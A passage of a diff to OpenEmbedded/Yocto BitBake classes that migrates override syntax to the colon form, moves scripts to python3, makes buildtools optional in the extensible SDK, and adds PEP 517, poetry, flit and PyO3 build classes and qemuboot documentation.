+ buildtools_installer = os.path.join(d.getVar('SDK_DEPLOY'), buildtools_fn)
+ filelist, _ = bb.process.run('%s -l' % buildtools_installer)
+ else:
+ buildtools_installer = None
+ filelist = ""
localdata = bb.data.createCopy(d)
localdata.setVar('SDKPATH', '.')
sdkpathnative = localdata.getVar('SDKPATHNATIVE')
@@ -566,7 +626,7 @@ install_tools() {
for script in $scripts; do
for scriptfn in `find ${SDK_OUTPUT}/${SDKPATH}/${scriptrelpath} -maxdepth 1 -executable -name "$script"`; do
targetscriptfn="${SDK_OUTPUT}/${SDKPATHNATIVE}${bindir_nativesdk}/$(basename $scriptfn)"
- test -e ${targetscriptfn} || lnr ${scriptfn} ${targetscriptfn}
+ test -e ${targetscriptfn} || ln -rs ${scriptfn} ${targetscriptfn}
done
done
# We can't use the same method as above because files in the sysroot won't exist at this point
@@ -574,12 +634,14 @@ install_tools() {
unfsd_path="${SDK_OUTPUT}/${SDKPATHNATIVE}${bindir_nativesdk}/unfsd"
if [ "${SDK_INCLUDE_TOOLCHAIN}" = "1" -a ! -e $unfsd_path ] ; then
binrelpath=${@os.path.relpath(d.getVar('STAGING_BINDIR_NATIVE'), d.getVar('TMPDIR'))}
- lnr ${SDK_OUTPUT}/${SDKPATH}/tmp/$binrelpath/unfsd $unfsd_path
+ ln -rs ${SDK_OUTPUT}/${SDKPATH}/tmp/$binrelpath/unfsd $unfsd_path
fi
touch ${SDK_OUTPUT}/${SDKPATH}/.devtoolbase
# find latest buildtools-tarball and install it
- install ${SDK_DEPLOY}/${SDK_BUILDTOOLS_INSTALLER} ${SDK_OUTPUT}/${SDKPATH}
+ if [ -n "${SDK_BUILDTOOLS_INSTALLER}" ]; then
+ install ${SDK_DEPLOY}/${SDK_BUILDTOOLS_INSTALLER} ${SDK_OUTPUT}/${SDKPATH}
+ fi
install -m 0644 ${COREBASE}/meta/files/ext-sdk-prepare.py ${SDK_OUTPUT}/${SDKPATH}
}
@@ -603,8 +665,8 @@ sdk_ext_preinst() {
exit 1
fi
# The relocation script used by buildtools installer requires python
- if ! command -v python > /dev/null; then
- echo "ERROR: The installer requires python, please install it first"
+ if ! command -v python3 > /dev/null; then
+ echo "ERROR: The installer requires python3, please install it first"
exit 1
fi
missing_utils=""
@@ -622,23 +684,28 @@ sdk_ext_preinst() {
EXTRA_TAR_OPTIONS="$EXTRA_TAR_OPTIONS --exclude=sstate-cache"
fi
}
-SDK_PRE_INSTALL_COMMAND_task-populate-sdk-ext = "${sdk_ext_preinst}"
+SDK_PRE_INSTALL_COMMAND:task-populate-sdk-ext = "${sdk_ext_preinst}"
# FIXME this preparation should be done as part of the SDK construction
sdk_ext_postinst() {
printf "\nExtracting buildtools...\n"
cd $target_sdk_dir
env_setup_script="$target_sdk_dir/environment-setup-${REAL_MULTIMACH_TARGET_SYS}"
- printf "buildtools\ny" | ./${SDK_BUILDTOOLS_INSTALLER} > buildtools.log || { printf 'ERROR: buildtools installation failed:\n' ; cat buildtools.log ; echo "printf 'ERROR: this SDK was not fully installed and needs reinstalling\n'" >> $env_setup_script ; exit 1 ; }
-
- # Delete the buildtools tar file since it won't be used again
- rm -f ./${SDK_BUILDTOOLS_INSTALLER}
- # We don't need the log either since it succeeded
- rm -f buildtools.log
-
- # Make sure when the user sets up the environment, they also get
- # the buildtools-tarball tools in their path.
- echo ". $target_sdk_dir/buildtools/environment-setup*" >> $env_setup_script
+ if [ -n "${SDK_BUILDTOOLS_INSTALLER}" ]; then
+ printf "buildtools\ny" | ./${SDK_BUILDTOOLS_INSTALLER} > buildtools.log || { printf 'ERROR: buildtools installation failed:\n' ; cat buildtools.log ; echo "printf 'ERROR: this SDK was not fully installed and needs reinstalling\n'" >> $env_setup_script ; exit 1 ; }
+
+ # Delete the buildtools tar file since it won't be used again
+ rm -f ./${SDK_BUILDTOOLS_INSTALLER}
+ # We don't need the log either since it succeeded
+ rm -f buildtools.log
+
+ # Make sure when the user sets up the environment, they also get
+ # the buildtools-tarball tools in their path.
+ echo "# Save and reset OECORE_NATIVE_SYSROOT as buildtools may change it" >> $env_setup_script
+ echo "SAVED=\"\$OECORE_NATIVE_SYSROOT\"" >> $env_setup_script
+ echo ". $target_sdk_dir/buildtools/environment-setup*" >> $env_setup_script
+ echo "OECORE_NATIVE_SYSROOT=\"\$SAVED\"" >> $env_setup_script
+ fi
# Allow bitbake environment setup to be ran as part of this sdk.
echo "export OE_SKIP_SDK_CHECK=1" >> $env_setup_script
@@ -654,13 +721,13 @@ sdk_ext_postinst() {
# Warn if trying to use external bitbake and the ext SDK together
echo "(which bitbake > /dev/null 2>&1 && echo 'WARNING: attempting to use the extensible SDK in an environment set up to run bitbake - this may lead to unexpected results. Please source this script in a new shell session instead.') || true" >> $env_setup_script
- if [ "$prepare_buildsystem" != "no" ]; then
+ if [ "$prepare_buildsystem" != "no" -a -n "${SDK_BUILDTOOLS_INSTALLER}" ]; then
printf "Preparing build system...\n"
# dash which is /bin/sh on Ubuntu will not preserve the
# current working directory when first ran, nor will it set $1 when
# sourcing a script. That is why this has to look so ugly.
LOGFILE="$target_sdk_dir/preparing_build_system.log"
- sh -c ". buildtools/environment-setup* > $LOGFILE && cd $target_sdk_dir/`dirname ${oe_init_build_env_path}` && set $target_sdk_dir && . $target_sdk_dir/${oe_init_build_env_path} $target_sdk_dir >> $LOGFILE && python $target_sdk_dir/ext-sdk-prepare.py $LOGFILE '${SDK_INSTALL_TARGETS}'" || { echo "printf 'ERROR: this SDK was not fully installed and needs reinstalling\n'" >> $env_setup_script ; exit 1 ; }
+ sh -c ". buildtools/environment-setup* > $LOGFILE && cd $target_sdk_dir/`dirname ${oe_init_build_env_path}` && set $target_sdk_dir && . $target_sdk_dir/${oe_init_build_env_path} $target_sdk_dir >> $LOGFILE && python3 $target_sdk_dir/ext-sdk-prepare.py $LOGFILE '${SDK_INSTALL_TARGETS}'" || { echo "printf 'ERROR: this SDK was not fully installed and needs reinstalling\n'" >> $env_setup_script ; exit 1 ; }
fi
if [ -e $target_sdk_dir/ext-sdk-prepare.py ]; then
rm $target_sdk_dir/ext-sdk-prepare.py
@@ -668,9 +735,9 @@ sdk_ext_postinst() {
echo done
}
-SDK_POST_INSTALL_COMMAND_task-populate-sdk-ext = "${sdk_ext_postinst}"
+SDK_POST_INSTALL_COMMAND:task-populate-sdk-ext = "${sdk_ext_postinst}"
-SDK_POSTPROCESS_COMMAND_prepend_task-populate-sdk-ext = "copy_buildsystem; install_tools; "
+SDK_POSTPROCESS_COMMAND:prepend:task-populate-sdk-ext = "copy_buildsystem; install_tools; "
SDK_INSTALL_TARGETS = ""
fakeroot python do_populate_sdk_ext() {
@@ -679,8 +746,20 @@ fakeroot python do_populate_sdk_ext() {
if d.getVar('SDK_ARCH') != d.getVar('BUILD_ARCH'):
bb.fatal('The extensible SDK can currently only be built for the same architecture as the machine being built on - SDK_ARCH is set to %s (likely via setting SDKMACHINE) which is different from the architecture of the build machine (%s). Unable to continue.' % (d.getVar('SDK_ARCH'), d.getVar('BUILD_ARCH')))
+ # FIXME hopefully we can remove this restriction at some point, but the eSDK
+ # can only be built for the primary (default) multiconfig
+ if d.getVar('BB_CURRENT_MC') != 'default':
+ bb.fatal('The extensible SDK can currently only be built for the default multiconfig. Currently trying to build for %s.' % d.getVar('BB_CURRENT_MC'))
+
+ # eSDK dependencies don't use the traditional variables and things don't work properly if they are set
+ d.setVar("TOOLCHAIN_HOST_TASK", "${TOOLCHAIN_HOST_TASK_ESDK}")
+ d.setVar("TOOLCHAIN_TARGET_TASK", "")
+
d.setVar('SDK_INSTALL_TARGETS', get_sdk_install_targets(d))
- buildtools_fn = get_current_buildtools(d)
+ if d.getVar('SDK_INCLUDE_BUILDTOOLS') == '1':
+ buildtools_fn = get_current_buildtools(d)
+ else:
+ buildtools_fn = None
d.setVar('SDK_REQUIRED_UTILITIES', get_sdk_required_utilities(buildtools_fn, d))
d.setVar('SDK_BUILDTOOLS_INSTALLER', buildtools_fn)
d.setVar('SDKDEPLOYDIR', '${SDKEXTDEPLOYDIR}')
@@ -721,17 +800,12 @@ do_sdk_depends[dirs] = "${WORKDIR}"
do_sdk_depends[depends] = "${@get_ext_sdk_depends(d)} meta-extsdk-toolchain:do_populate_sysroot"
do_sdk_depends[recrdeptask] = "${@d.getVarFlag('do_populate_sdk', 'recrdeptask', False)}"
do_sdk_depends[recrdeptask] += "do_populate_lic do_package_qa do_populate_sysroot do_deploy ${SDK_RECRDEP_TASKS}"
-do_sdk_depends[rdepends] = "${@get_sdk_ext_rdepends(d)}"
-
-def get_sdk_ext_rdepends(d):
- localdata = d.createCopy()
- localdata.appendVar('OVERRIDES', ':task-populate-sdk-ext')
- return localdata.getVarFlag('do_populate_sdk', 'rdepends')
+do_sdk_depends[rdepends] = "${@' '.join([x + ':do_package_write_${IMAGE_PKGTYPE} ' + x + ':do_packagedata' for x in d.getVar('TOOLCHAIN_HOST_TASK_ESDK').split()])}"
do_populate_sdk_ext[dirs] = "${@d.getVarFlag('do_populate_sdk', 'dirs', False)}"
do_populate_sdk_ext[depends] = "${@d.getVarFlag('do_populate_sdk', 'depends', False)} \
- buildtools-tarball:do_populate_sdk \
+ ${@'buildtools-tarball:do_populate_sdk' if d.getVar('SDK_INCLUDE_BUILDTOOLS') == '1' else ''} \
${@'meta-world-pkgdata:do_collect_packagedata' if d.getVar('SDK_INCLUDE_PKGDATA') == '1' else ''} \
${@'meta-extsdk-toolchain:do_locked_sigs' if d.getVar('SDK_INCLUDE_TOOLCHAIN') == '1' else ''}"
@@ -754,7 +828,7 @@ do_populate_sdk_ext[nostamp] = "1"
SDKEXTDEPLOYDIR = "${WORKDIR}/deploy-${PN}-populate-sdk-ext"
SSTATETASKS += "do_populate_sdk_ext"
-SSTATE_SKIP_CREATION_task-populate-sdk-ext = '1'
+SSTATE_SKIP_CREATION:task-populate-sdk-ext = '1'
do_populate_sdk_ext[cleandirs] = "${SDKEXTDEPLOYDIR}"
do_populate_sdk_ext[sstate-inputdirs] = "${SDKEXTDEPLOYDIR}"
do_populate_sdk_ext[sstate-outputdirs] = "${SDK_DEPLOY}"
diff --git a/meta/classes/ptest-gnome.bbclass b/meta/classes/ptest-gnome.bbclass
index 478a33474d..18bd3dbff9 100644
--- a/meta/classes/ptest-gnome.bbclass
+++ b/meta/classes/ptest-gnome.bbclass
@@ -1,8 +1,8 @@
inherit ptest
-EXTRA_OECONF_append = " ${@bb.utils.contains('PTEST_ENABLED', '1', '--enable-installed-tests', '--disable-installed-tests', d)}"
+EXTRA_OECONF:append = " ${@bb.utils.contains('PTEST_ENABLED', '1', '--enable-installed-tests', '--disable-installed-tests', d)}"
-FILES_${PN}-ptest += "${libexecdir}/installed-tests/ \
+FILES:${PN}-ptest += "${libexecdir}/installed-tests/ \
${datadir}/installed-tests/"
-RDEPENDS_${PN}-ptest += "gnome-desktop-testing"
+RDEPENDS:${PN}-ptest += "gnome-desktop-testing"
diff --git a/meta/classes/ptest-perl.bbclass b/meta/classes/ptest-perl.bbclass
index a4bc40b51a..5dd72c9dad 100644
--- a/meta/classes/ptest-perl.bbclass
+++ b/meta/classes/ptest-perl.bbclass
@@ -1,6 +1,6 @@
inherit ptest
-FILESEXTRAPATHS_prepend := "${COREBASE}/meta/files:"
+FILESEXTRAPATHS:prepend := "${COREBASE}/meta/files:"
SRC_URI += "file://ptest-perl/run-ptest"
@@ -13,9 +13,9 @@ do_install_ptest_perl() {
chown -R root:root ${D}${PTEST_PATH}
}
-FILES_${PN}-ptest_prepend = "${PTEST_PATH}/t/* ${PTEST_PATH}/run-ptest "
+FILES:${PN}-ptest:prepend = "${PTEST_PATH}/t/* ${PTEST_PATH}/run-ptest "
-RDEPENDS_${PN}-ptest_prepend = "perl "
+RDEPENDS:${PN}-ptest:prepend = "perl "
addtask install_ptest_perl after do_install_ptest_base before do_package
diff --git a/meta/classes/ptest.bbclass b/meta/classes/ptest.bbclass
index fa4c36ec76..1ec23c0923 100644
--- a/meta/classes/ptest.bbclass
+++ b/meta/classes/ptest.bbclass
@@ -1,25 +1,27 @@
-SUMMARY_${PN}-ptest ?= "${SUMMARY} - Package test files"
-DESCRIPTION_${PN}-ptest ?= "${DESCRIPTION} \
+SUMMARY:${PN}-ptest ?= "${SUMMARY} - Package test files"
+DESCRIPTION:${PN}-ptest ?= "${DESCRIPTION} \
This package contains a test directory ${PTEST_PATH} for package test purposes."
PTEST_PATH ?= "${libdir}/${BPN}/ptest"
PTEST_BUILD_HOST_FILES ?= "Makefile"
PTEST_BUILD_HOST_PATTERN ?= ""
-FILES_${PN}-ptest = "${PTEST_PATH}"
-SECTION_${PN}-ptest = "devel"
-ALLOW_EMPTY_${PN}-ptest = "1"
+FILES:${PN}-ptest += "${PTEST_PATH}"
+SECTION:${PN}-ptest = "devel"
+ALLOW_EMPTY:${PN}-ptest = "1"
PTEST_ENABLED = "${@bb.utils.contains('DISTRO_FEATURES', 'ptest', '1', '0', d)}"
-PTEST_ENABLED_class-native = ""
-PTEST_ENABLED_class-nativesdk = ""
-PTEST_ENABLED_class-cross-canadian = ""
-RDEPENDS_${PN}-ptest += "${PN}"
-RDEPENDS_${PN}-ptest_class-native = ""
-RDEPENDS_${PN}-ptest_class-nativesdk = ""
-RRECOMMENDS_${PN}-ptest += "ptest-runner"
+PTEST_ENABLED:class-native = ""
+PTEST_ENABLED:class-nativesdk = ""
+PTEST_ENABLED:class-cross-canadian = ""
+RDEPENDS:${PN}-ptest += "${PN}"
+RDEPENDS:${PN}-ptest:class-native = ""
+RDEPENDS:${PN}-ptest:class-nativesdk = ""
+RRECOMMENDS:${PN}-ptest += "ptest-runner"
PACKAGES =+ "${@bb.utils.contains('PTEST_ENABLED', '1', '${PN}-ptest', '', d)}"
+require conf/distro/include/ptest-packagelists.inc
+
do_configure_ptest() {
:
}
@@ -71,7 +73,7 @@ PTEST_BINDIR_PKGD_PATH = "${PKGD}${PTEST_PATH}/bin"
# This function needs to run after apply_update_alternative_renames because the
# aforementioned function will update the ALTERNATIVE_LINK_NAME flag. Append is
# used here to make this function to run as late as possible.
-PACKAGE_PREPROCESS_FUNCS_append = "${@bb.utils.contains('PTEST_BINDIR', '1', \
+PACKAGE_PREPROCESS_FUNCS:append = "${@bb.utils.contains('PTEST_BINDIR', '1', \
bb.utils.contains('PTEST_ENABLED', '1', ' ptest_update_alternatives', '', d), '', d)}"
python ptest_update_alternatives() {
@@ -117,3 +119,14 @@ python () {
for i in ['do_configure_ptest_base', 'do_compile_ptest_base', 'do_install_ptest_base']:
bb.build.deltask(i, d)
}
+
+QARECIPETEST[missing-ptest] = "package_qa_check_missing_ptest"
+def package_qa_check_missing_ptest(pn, d, messages):
+ # This checks that ptest package is actually included
+ # in standard oe-core ptest images - only for oe-core recipes
+ if not 'meta/recipes' in d.getVar('FILE') or not(d.getVar('PTEST_ENABLED') == "1"):
+ return
+
+ enabled_ptests = " ".join([d.getVar('PTESTS_FAST'), d.getVar('PTESTS_SLOW'), d.getVar('PTESTS_PROBLEMS')]).split()
+ if (pn + "-ptest").replace(d.getVar('MLPREFIX'), '') not in enabled_ptests:
+ oe.qa.handle_error("missing-ptest", "supports ptests but is not included in oe-core's ptest-packagelists.inc", d)
diff --git a/meta/classes/pypi.bbclass b/meta/classes/pypi.bbclass
index e5d7ab3ce1..9405d58601 100644
--- a/meta/classes/pypi.bbclass
+++ b/meta/classes/pypi.bbclass
@@ -8,19 +8,19 @@ def pypi_package(d):
PYPI_PACKAGE ?= "${@pypi_package(d)}"
PYPI_PACKAGE_EXT ?= "tar.gz"
+PYPI_ARCHIVE_NAME ?= "${PYPI_PACKAGE}-${PV}.${PYPI_PACKAGE_EXT}"
def pypi_src_uri(d):
package = d.getVar('PYPI_PACKAGE')
- package_ext = d.getVar('PYPI_PACKAGE_EXT')
- pv = d.getVar('PV')
- return 'https://files.pythonhosted.org/packages/source/%s/%s/%s-%s.%s' % (package[0], package, package, pv, package_ext)
+ archive_name = d.getVar('PYPI_ARCHIVE_NAME')
+ return 'https://files.pythonhosted.org/packages/source/%s/%s/%s' % (package[0], package, archive_name)
PYPI_SRC_URI ?= "${@pypi_src_uri(d)}"
HOMEPAGE ?= "https://pypi.python.org/pypi/${PYPI_PACKAGE}/"
SECTION = "devel/python"
-SRC_URI += "${PYPI_SRC_URI}"
+SRC_URI:prepend = "${PYPI_SRC_URI} "
S = "${WORKDIR}/${PYPI_PACKAGE}-${PV}"
-UPSTREAM_CHECK_URI ?= "https://pypi.python.org/pypi/${PYPI_PACKAGE}/"
-UPSTREAM_CHECK_REGEX ?= "/${PYPI_PACKAGE}/(?P<pver>(\d+[\.\-_]*)+)"
+UPSTREAM_CHECK_URI ?= "https://pypi.org/project/${PYPI_PACKAGE}/"
+UPSTREAM_CHECK_REGEX ?= "/${PYPI_PACKAGE}/(?P<pver>(\d+[\.\-_]*)+)/"
diff --git a/meta/classes/python-dir.bbclass b/meta/classes/python-dir.bbclass
deleted file mode 100644
index a11dc350be..0000000000
--- a/meta/classes/python-dir.bbclass
+++ /dev/null
@@ -1,5 +0,0 @@
-PYTHON_BASEVERSION = "2.7"
-PYTHON_ABI = ""
-PYTHON_DIR = "python${PYTHON_BASEVERSION}"
-PYTHON_PN = "python"
-PYTHON_SITEPACKAGES_DIR = "${libdir}/${PYTHON_DIR}/site-packages"
diff --git a/meta/classes/python3-dir.bbclass b/meta/classes/python3-dir.bbclass
index 7dd130bad9..ff03e584d4 100644
--- a/meta/classes/python3-dir.bbclass
+++ b/meta/classes/python3-dir.bbclass
@@ -1,5 +1,5 @@
-PYTHON_BASEVERSION = "3.7"
-PYTHON_ABI = "m"
+PYTHON_BASEVERSION = "3.10"
+PYTHON_ABI = ""
PYTHON_DIR = "python${PYTHON_BASEVERSION}"
PYTHON_PN = "python3"
PYTHON_SITEPACKAGES_DIR = "${libdir}/${PYTHON_DIR}/site-packages"
diff --git a/meta/classes/python3native.bbclass b/meta/classes/python3native.bbclass
index d98fb4c758..3783c0c47e 100644
--- a/meta/classes/python3native.bbclass
+++ b/meta/classes/python3native.bbclass
@@ -2,9 +2,9 @@ inherit python3-dir
PYTHON="${STAGING_BINDIR_NATIVE}/python3-native/python3"
EXTRANATIVEPATH += "python3-native"
-DEPENDS_append = " python3-native "
+DEPENDS:append = " python3-native "
-# python-config and other scripts are using distutils modules
+# python-config and other scripts are using sysconfig modules
# which we patch to access these variables
export STAGING_INCDIR
export STAGING_LIBDIR
@@ -17,8 +17,6 @@ export STAGING_LIBDIR
export PYTHON_LIBRARY="${STAGING_LIBDIR}/lib${PYTHON_DIR}${PYTHON_ABI}.so"
export PYTHON_INCLUDE_DIR="${STAGING_INCDIR}/${PYTHON_DIR}${PYTHON_ABI}"
-export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
-
# suppress host user's site-packages dirs.
export PYTHONNOUSERSITE = "1"
diff --git a/meta/classes/python3targetconfig.bbclass b/meta/classes/python3targetconfig.bbclass
new file mode 100644
index 0000000000..2476858cae
--- /dev/null
+++ b/meta/classes/python3targetconfig.bbclass
@@ -0,0 +1,29 @@
+inherit python3native
+
+EXTRA_PYTHON_DEPENDS ?= ""
+EXTRA_PYTHON_DEPENDS:class-target = "python3"
+DEPENDS:append = " ${EXTRA_PYTHON_DEPENDS}"
+
+do_configure:prepend:class-target() {
+ export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
+}
+
+do_compile:prepend:class-target() {
+ export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
+}
+
+do_install:prepend:class-target() {
+ export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
+}
+
+do_configure:prepend:class-nativesdk() {
+ export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
+}
+
+do_compile:prepend:class-nativesdk() {
+ export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
+}
+
+do_install:prepend:class-nativesdk() {
+ export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
+}
diff --git a/meta/classes/python_flit_core.bbclass b/meta/classes/python_flit_core.bbclass
new file mode 100644
index 0000000000..96652aa204
--- /dev/null
+++ b/meta/classes/python_flit_core.bbclass
@@ -0,0 +1,5 @@
+inherit python_pep517 python3native python3-dir setuptools3-base
+
+DEPENDS += "python3 python3-flit-core-native"
+
+PEP517_BUILD_API = "flit_core.buildapi"
diff --git a/meta/classes/python_pep517.bbclass b/meta/classes/python_pep517.bbclass
new file mode 100644
index 0000000000..34ffdc9c0d
--- /dev/null
+++ b/meta/classes/python_pep517.bbclass
@@ -0,0 +1,56 @@
+# Common infrastructure for Python packages that use PEP-517 compliant packaging.
+# https://www.python.org/dev/peps/pep-0517/
+#
+# This class will build a wheel in do_compile, and use pypa/installer to install
+# it in do_install.
+
+DEPENDS:append = " python3-installer-native"
+
+# Where to execute the build process from
+PEP517_SOURCE_PATH ?= "${S}"
+
+# The PEP517 build API entry point
+PEP517_BUILD_API ?= "unset"
+
+# The directory where wheels will be written
+PEP517_WHEEL_PATH ?= "${WORKDIR}/dist"
+
+# The interpreter to use for installed scripts
+PEP517_INSTALL_PYTHON = "python3"
+PEP517_INSTALL_PYTHON:class-native = "nativepython3"
+
+# pypa/installer option to control the bytecode compilation
+INSTALL_WHEEL_COMPILE_BYTECODE ?= "--compile-bytecode=0"
+
+# PEP517 doesn't have a specific configure step, so set an empty do_configure to avoid
+# running base_do_configure.
+python_pep517_do_configure () {
+ :
+}
+
+# When we have Python 3.11 we can parse pyproject.toml to determine the build
+# API entry point directly
+python_pep517_do_compile () {
+ cd ${PEP517_SOURCE_PATH}
+ nativepython3 -c "import ${PEP517_BUILD_API} as api; api.build_wheel('${PEP517_WHEEL_PATH}')"
+}
+do_compile[cleandirs] += "${PEP517_WHEEL_PATH}"
+
+python_pep517_do_install () {
+ COUNT=$(find ${PEP517_WHEEL_PATH} -name '*.whl' | wc -l)
+ if test $COUNT -eq 0; then
+ bbfatal No wheels found in ${PEP517_WHEEL_PATH}
+ elif test $COUNT -gt 1; then
+ bbfatal More than one wheel found in ${PEP517_WHEEL_PATH}, this should not happen
+ fi
+
+ nativepython3 -m installer ${INSTALL_WHEEL_COMPILE_BYTECODE} --interpreter "${USRBINPATH}/env ${PEP517_INSTALL_PYTHON}" --destdir=${D} ${PEP517_WHEEL_PATH}/*.whl
+}
+
+# A manual do_install that just uses unzip for bootstrapping purposes. Callers should DEPEND on unzip-native.
+python_pep517_do_bootstrap_install () {
+ install -d ${D}${PYTHON_SITEPACKAGES_DIR}
+ unzip -d ${D}${PYTHON_SITEPACKAGES_DIR} ${PEP517_WHEEL_PATH}/*.whl
+}
+
+EXPORT_FUNCTIONS do_configure do_compile do_install
diff --git a/meta/classes/python_poetry_core.bbclass b/meta/classes/python_poetry_core.bbclass
new file mode 100644
index 0000000000..577663b8f1
--- /dev/null
+++ b/meta/classes/python_poetry_core.bbclass
@@ -0,0 +1,5 @@
+inherit python_pep517 python3native setuptools3-base
+
+DEPENDS += "python3-poetry-core-native"
+
+PEP517_BUILD_API = "poetry.core.masonry.api"
diff --git a/meta/classes/python_pyo3.bbclass b/meta/classes/python_pyo3.bbclass
new file mode 100644
index 0000000000..10cc3a0645
--- /dev/null
+++ b/meta/classes/python_pyo3.bbclass
@@ -0,0 +1,30 @@
+#
+# This class helps make sure that Python extensions built with PyO3
+# and setuptools_rust properly set up the environment for cross compilation
+#
+
+inherit cargo python3-dir siteinfo
+
+export PYO3_CROSS="1"
+export PYO3_CROSS_PYTHON_VERSION="${PYTHON_BASEVERSION}"
+export PYO3_CROSS_LIB_DIR="${STAGING_LIBDIR}"
+export CARGO_BUILD_TARGET="${HOST_SYS}"
+export RUSTFLAGS
+export PYO3_PYTHON="${PYTHON}"
+export PYO3_CONFIG_FILE="${WORKDIR}/pyo3.config"
+
+python_pyo3_do_configure () {
+ cat > ${WORKDIR}/pyo3.config << EOF
+implementation=CPython
+version=${PYTHON_BASEVERSION}
+shared=true
+abi3=false
+lib_name=${PYTHON_DIR}
+lib_dir=${STAGING_LIBDIR}
+pointer_width=${SITEINFO_BITS}
+build_flags=WITH_THREAD
+suppress_build_script_link_lines=false
+EOF
+}
+
+EXPORT_FUNCTIONS do_configure
diff --git a/meta/classes/python_setuptools3_rust.bbclass b/meta/classes/python_setuptools3_rust.bbclass
new file mode 100644
index 0000000000..f12e5d0cbd
--- /dev/null
+++ b/meta/classes/python_setuptools3_rust.bbclass
@@ -0,0 +1,11 @@
+inherit python_pyo3 setuptools3
+
+DEPENDS += "python3-setuptools-rust-native"
+
+python_setuptools3_rust_do_configure() {
+ python_pyo3_do_configure
+ cargo_common_do_configure
+ setuptools3_do_configure
+}
+
+EXPORT_FUNCTIONS do_configure
diff --git a/meta/classes/pythonnative.bbclass b/meta/classes/pythonnative.bbclass
deleted file mode 100644
index 0e9019d1e2..0000000000
--- a/meta/classes/pythonnative.bbclass
+++ /dev/null
@@ -1,27 +0,0 @@
-
-inherit python-dir
-
-PYTHON="${STAGING_BINDIR_NATIVE}/python-native/python"
-# PYTHON_EXECUTABLE is used by cmake
-PYTHON_EXECUTABLE="${PYTHON}"
-EXTRANATIVEPATH += "python-native"
-DEPENDS_append = " python-native "
-
-# python-config and other scripts are using distutils modules
-# which we patch to access these variables
-export STAGING_INCDIR
-export STAGING_LIBDIR
-
-# Packages can use
-# find_package(PythonInterp REQUIRED)
-# find_package(PythonLibs REQUIRED)
-# which ends up using libs/includes from build host
-# Therefore pre-empt that effort
-export PYTHON_LIBRARY="${STAGING_LIBDIR}/lib${PYTHON_DIR}${PYTHON_ABI}.so"
-export PYTHON_INCLUDE_DIR="${STAGING_INCDIR}/${PYTHON_DIR}${PYTHON_ABI}"
-
-# suppress host user's site-packages dirs.
-export PYTHONNOUSERSITE = "1"
-
-# autoconf macros will use their internal default preference otherwise
-export PYTHON
diff --git a/meta/classes/qemu.bbclass b/meta/classes/qemu.bbclass
index f5c5780125..01a7b86ae1 100644
--- a/meta/classes/qemu.bbclass
+++ b/meta/classes/qemu.bbclass
@@ -16,6 +16,8 @@ def qemu_target_binary(data):
target_arch = "ppc"
elif target_arch == "powerpc64":
target_arch = "ppc64"
+ elif target_arch == "powerpc64le":
+ target_arch = "ppc64le"
return "qemu-" + target_arch
@@ -62,3 +64,4 @@ QEMU_EXTRAOPTIONS_ppc64e5500 = " -cpu e500mc"
QEMU_EXTRAOPTIONS_ppce6500 = " -cpu e500mc"
QEMU_EXTRAOPTIONS_ppc64e6500 = " -cpu e500mc"
QEMU_EXTRAOPTIONS_ppc7400 = " -cpu 7400"
+QEMU_EXTRAOPTIONS:powerpc64le = " -cpu POWER8"
diff --git a/meta/classes/qemuboot.bbclass b/meta/classes/qemuboot.bbclass
index 15a9e63f2b..ad8489902a 100644
--- a/meta/classes/qemuboot.bbclass
+++ b/meta/classes/qemuboot.bbclass
@@ -4,7 +4,7 @@
#
# QB_SYSTEM_NAME: qemu name, e.g., "qemu-system-i386"
#
-# QB_OPT_APPEND: options to append to qemu, e.g., "-show-cursor"
+# QB_OPT_APPEND: options to append to qemu, e.g., "-device usb-mouse"
#
# QB_DEFAULT_KERNEL: default kernel to boot, e.g., "bzImage"
#
@@ -19,6 +19,9 @@
# QB_CPU_KVM: the similar to QB_CPU, but used when kvm, e.g., '-cpu kvm64',
# set it when support kvm.
#
+# QB_SMP: amount of CPU cores inside qemu guest, each mapped to a thread on the host,
+# e.g. "-smp 8".
+#
# QB_KERNEL_CMDLINE_APPEND: options to append to kernel's -append
# option, e.g., "console=ttyS0 console=tty"
#
@@ -26,23 +29,40 @@
#
# QB_AUDIO_DRV: qemu audio driver, e.g., "alsa", set it when support audio
#
-# QB_AUDIO_OPT: qemu audio option, e.g., "-soundhw ac97,es1370", used
+# QB_AUDIO_OPT: qemu audio option, e.g., "-device AC97", used
# when QB_AUDIO_DRV is set.
#
+# QB_RNG: Pass-through for host random number generator, it can speedup boot
+# in system mode, where system is experiencing entropy starvation
+#
# QB_KERNEL_ROOT: kernel's root, e.g., /dev/vda
+# By default "/dev/vda rw" gets passed to the kernel.
+# To mount the rootfs read-only QB_KERNEL_ROOT can be set to e.g. "/dev/vda ro".
#
# QB_NETWORK_DEVICE: network device, e.g., "-device virtio-net-pci,netdev=net0,mac=@MAC@",
# it needs work with QB_TAP_OPT and QB_SLIRP_OPT.
# Note, runqemu will replace @MAC@ with a predefined mac, you can set
# a custom one, but that may cause conflicts when multiple qemus are
# running on the same host.
+# Note: If more than one interface of type -device virtio-net-device gets added,
+# QB_NETWORK_DEVICE:prepend might be used, since Qemu enumerates the eth*
+# devices in reverse order to -device arguments.
#
-# QB_TAP_OPT: netowrk option for 'tap' mode, e.g.,
+# QB_TAP_OPT: network option for 'tap' mode, e.g.,
# "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
# Note, runqemu will replace "@TAP@" with the one which is used, such as tap0, tap1 ...
#
# QB_SLIRP_OPT: network option for SLIRP mode, e.g., -netdev user,id=net0"
#
+# QB_CMDLINE_IP_SLIRP: If QB_NETWORK_DEVICE adds more than one network interface to qemu, usually the
+# ip= kernel comand line argument needs to be changed accordingly. Details are documented
+# in the kernel docuemntation https://www.kernel.org/doc/Documentation/filesystems/nfs/nfsroot.txt
+# Example to configure only the first interface: "ip=eth0:dhcp"
+# QB_CMDLINE_IP_TAP: This parameter is similar to the QB_CMDLINE_IP_SLIRP parameter. Since the tap interface requires
+# static IP configuration @CLIENT@ and @GATEWAY@ place holders are replaced by the IP and the gateway
+# address of the qemu guest by runqemu.
+# Example: "ip=192.168.7.@CLIENT@::192.168.7.@GATEWAY@:255.255.255.0::eth0"
+#
# QB_ROOTFS_OPT: used as rootfs, e.g.,
